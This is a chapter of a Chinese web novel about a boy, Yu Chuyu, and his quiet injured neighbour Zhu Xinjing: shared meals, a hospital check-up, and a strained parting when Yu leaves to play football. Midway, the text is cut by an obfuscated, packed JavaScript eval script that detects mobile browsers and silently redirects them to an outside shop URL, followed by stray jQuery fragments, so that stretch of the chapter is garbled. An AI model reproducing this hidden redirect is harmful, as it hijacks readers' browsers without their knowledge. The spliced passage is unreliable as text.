身侧传来细微动静,尤初昱才回过神来。
他侧过脸重新看向竺新景,正好看见竺新景睁眼。
竺新景睁着眼放了会空,缓缓仰起脑袋看向他。
恰好这时候门铃声响起,尤初昱开口。
“应该是晚饭到了。”
竺新景的脑袋还靠在他脑袋上,尤初昱没有马上起来,而是先开口打了个预警。
“我起来了?”
竺新景盯着尤初昱,反应了一下,才轻眨眼往旁边挪了挪。
压在身上的重量消失,尤初昱才掀开毯子起了身,往玄关走去。
拿了饭回来,和竺新景在客厅茶几前的小板凳上坐下,尤初昱开口问。
“你是不是明天去医院复查?”
竺新景点了点头。
“你爸爸带你去?”
竺新景再次点头。
尤初昱应好没有再问。
明天还要上学,尤初昱八点将竺新景送回了家。
送完竺新景回到家,尤初昱在玄关换鞋进屋。
拖鞋踩过客厅地板,在空荡寂静的空间里发出“哒哒哒”的响声。
尤初昱走到一半,说不清缘由的停了下来。
一个月里,林玟书和尤元启都不在的夜晚其实并不多,大约三五个。
再往前一年,爷爷奶奶和外公外婆还会轮流照顾他的时候,不会出现只留他一个人在家的情况。
只是他们都很忙。
真的忙,也真的累。
有时候小小的尤初昱摆弄着玩具,转身想要找大人陪他一起玩时,会发现大人不知什么时候躺在地上,疲惫地睡着了。
睡着的大人们总是眉头紧皱,睡得也不安生,听见一点响动便会惊醒,撑开眼皮“小昱小昱”地唤他。
尤初昱不想让他们为难。
因此去年上小学开始,他便主动提出不用专门再留人在家里陪他。
最开始大人们并不同意,后来发现尤初昱身边总是不缺人,他们又实在忙得厉害,才一点点松了口。
过去林玟书和尤元启都不在的夜晚,周围的小朋友们来他家玩,也差不多这个时间走。
将吵吵嚷嚷的一群人送走以后,家里也会只剩尤初昱一个人。
尤初昱其实已经很习惯。
可今天说不清缘由的,他站在空荡荡静到能听见他自己呼吸的客厅,失了很久的神。
·
周六下午放学比平时早了一些,尤初昱到家时,天还大亮着。
今天隔壁房子大门紧闭,没有一个脑袋探在门口等他。
尤初昱知道竺新景是去医院了,应该是还没有回来。
早上竺新景和他说过,他爸爸会在下午带他去医院复查。
尽管清楚,看到黑漆漆的大门紧闭时,尤初昱还是短暂失了会神。
他今天依旧没有和其他人出去,一个人回了家。
摆在客厅的乐高只剩一点收尾工作,快的话这个周末就可以搭建完成。
尤初昱和往常一样收拾好一堆零部件出来,搬到客厅地垫上。
只是今天搭了半个多小时,手边也只搭好一小块。
今天尤元启在家,这个时间还在楼上补觉。
天边染上一点昏黄的时候,门前响起汽车开过的声音。
尤初昱似有所感抬头,看到了在隔壁庭院前看到过几次的汽车。
他停了手上动作,下意识想要起身。
但最终没有起来,停了会动作,垂眸继续搭乐高。
没过多久,他听见窗边传来“咚咚”两下响。
林子帆他们敲玻璃窗只会“咚咚咚咚咚咚咚咚咚咚咚咚”地敲。
尤初昱停下动作抬头,看到了安安静静站在落地窗外看着他的竺新景。
他起身,去玄关给竺新景开了门。
小孩进屋换鞋,仰着脑袋跟在他身边看他。
竺新景额角上的防水贴摘了,擦伤已经基本痊愈,只留一道一指宽的小小划伤。
尤初昱视线在他额角淡了不少颜色的伤口上短暂停留,又垂眸去看他垂在身侧的手。
竺新景双手上的绷带也已经拆了,掌心伤口的痕迹比额角划伤的疤痕更淡,看上去应该过不了多久就能完全消去。
尤初昱收回视线,目光落到竺新景脸上。
和竺新景短暂对视,他开口问。
“医生怎么说,头还会疼吗?”
竺新景配合上上下下左左右右摇晃了一圈脑袋,回答。
“医生说没事了,不疼。”
尤初昱笑了一下,刚准备继续往客厅里,忽然听见竺新景罕见主动开口。
“尤初昱。”
尤初昱脚步一顿,一时间甚至有些没反应过来。
家里的大人,周围的邻里,比他大的基本都叫他小昱,和他一起玩的小朋友们则是都叫他昱哥或者小昱哥哥。
尤初昱这三个完完整整象征他身份的字,反倒是没什么人喊。
他反应了一下才重新看向竺新景,疑惑问。
“怎么了?”
竺新景注视着尤初昱,轻声问。
“你不高兴吗?”
尤初昱一下子愣住。
没等他反应过来,屋子里响起尤元启打着哈欠的声音。
“小宝贝们在门口聊什么呀?晚上想吃什么,让我来为你们大展拳脚!”
尤初昱转身看了眼从楼上下来的尤元启,片刻后转回身重新看向竺新景,弯着眼睛笑问:“没有,为什么这么问?”
竺新景安静注视着他,没有回答。
一大两小吃过晚饭,去镇上闲逛消食。
回来时时间已经不早,尤初昱直接送了竺新景回家。
而后回到自己家,跟尤元启在二楼楼梯口挥别,进了卧室。
他和往常一样关窗拉窗帘,到床边窗前时,对面卧室的灯恰好亮了。
尤初昱停了动作,看着对面窗户里一颗脑袋从下往上缓缓冒出。
竺新景站在对面窗户里盯着他看了会,忽地把灯按灭了。
过了会又把灯重新按亮,随后一亮一暗,一亮一暗,在漆黑的小镇上像一颗一闪一闪的星星。
尤初昱看着笑了出来。
他笑了好一会,对面才终于停止对电灯泡的折腾,站在亮着灯的房间里安安静静看他。
初夏的风卷着蔷薇开到正浓的花香钻入鼻腔。
尤初昱在窗边站了会,才开口。
“去睡觉吧,我去洗澡了。”
对面窗户里的小孩乖乖点头,却依旧站在窗户前,安静注视着尤初昱,没有从板凳上下去。
最后是尤初昱先关上了窗。
他没有和往常一样关窗后直接拉上窗帘,径直转身拿了睡衣进卧室洗澡。
等出来时,对面房间的灯已经暗了。
尤初昱在窗边站了会,才拉上窗帘,走到卧室桌前坐下。
他晚上依旧带了些乐高回来拼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572725|204955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只是今天拼乐高似乎拼得格外不顺利。
没拼两块,尤初昱停了动作,靠到椅背上,仰头看墙壁上装订的各种手工制品。
大多是木雕,各种形状都有,封存仔细地镶嵌在配套的架子上。
视线缓缓扫过,最终在一块夜莺形状的木雕上停住。
他安静盯着看了好一会,将凳子挪过去,踩上凳子将那块木雕从展示架上拿了下来。
那是一块黄杨木雕刻而成的木雕,夜莺栩栩如生,但仔细看的话,能在尾翼上看到一道裂痕。
黄杨木雕刻的木雕鲜少开裂,尾翼上的裂痕是摔断后重新拼接留下的。
尤初昱踩在凳子上,指腹轻轻摩挲着夜莺尾翼上的裂痕,许久没再有别的动作。
·
上不上学并不影响尤初昱的晨起时间。
他和往常一样自然醒来,起床洗漱,换掉睡衣下楼吃早饭。
下楼时尤元启还在。
正坐在餐桌上吃早餐的尤元启见到自家儿子,高高兴兴打招呼。
“乖乖睡醒啦?今天是不是也要去找小竺一起吃早餐呀?”
尤初昱弯起眼睛笑,点了点头。
尤元启拎起已经打包好的早餐,邀功道。
“爸爸已经给你打包好了,棒不棒?”
尤初昱接过,配合回答。
“棒。”
尤元启揉揉自家儿子脑袋,笑着说:“去吧去吧。”
尤初昱拎着早餐出了门。
他和往常一样走到隔壁,不等抬手敲门,门便自己朝内开了。
竺新景的手已经基本好全,能自己拉开门。
他将门拉到足够尤初昱进屋,往里退了两步,给尤初昱留出进去的空间。
尤初昱却只是站在门口,没有进去。
他将在来的路上分好的早餐往屋里递,笑着开口。
“今天不进去了。”
门里人垂眸看了好一会他递到门边的早餐,没有接,仰头看他。
“今天不上学。”
尤初昱笑着应。
“嗯,但是今天我跟他们约好了,要一起去踢球。”
“约好?”竺新景注视着尤初昱。
尤初昱声音沉静回答:“嗯,这周已经拒绝他们很多次了,现在你伤好了,没理由再拒绝下去了。”
他说完,又补充:“我中午前会回来,午饭还是和前几天一样来我家吃。”
门里人看着尤初昱,不说话了。
尤初昱碰了碰唇,在两人间沉默蔓延开来前开口。
“你要一起吗?你现在伤好了,可以……”
竺新景少有的没有安安静静听完尤初昱的话,打断问。
“以后也会约好吗?”
在尤初昱的目光注视下,他补充:“和别人。”
尤初昱和竺新景安静对视半晌,开口回答。
“会有的。”
门里人彻底没了动静。
清晨的阳光拂过小镇,恰恰好在这一瞬间,分割在黑色大门前。
光在门外,照不进漆黑的屋里。
尤初昱在漫长的僵持中,开口。
“我先进去帮你把窗帘拉开吧。”
他说完刚要往里进,敞开的门却被门里人推着合上了。
合到只剩下很小一道缝隙,像尤初昱第一天登门道歉时那样,只露出一只漆黑的眼睛。
门里人很轻的声音传出。
“不要一起。”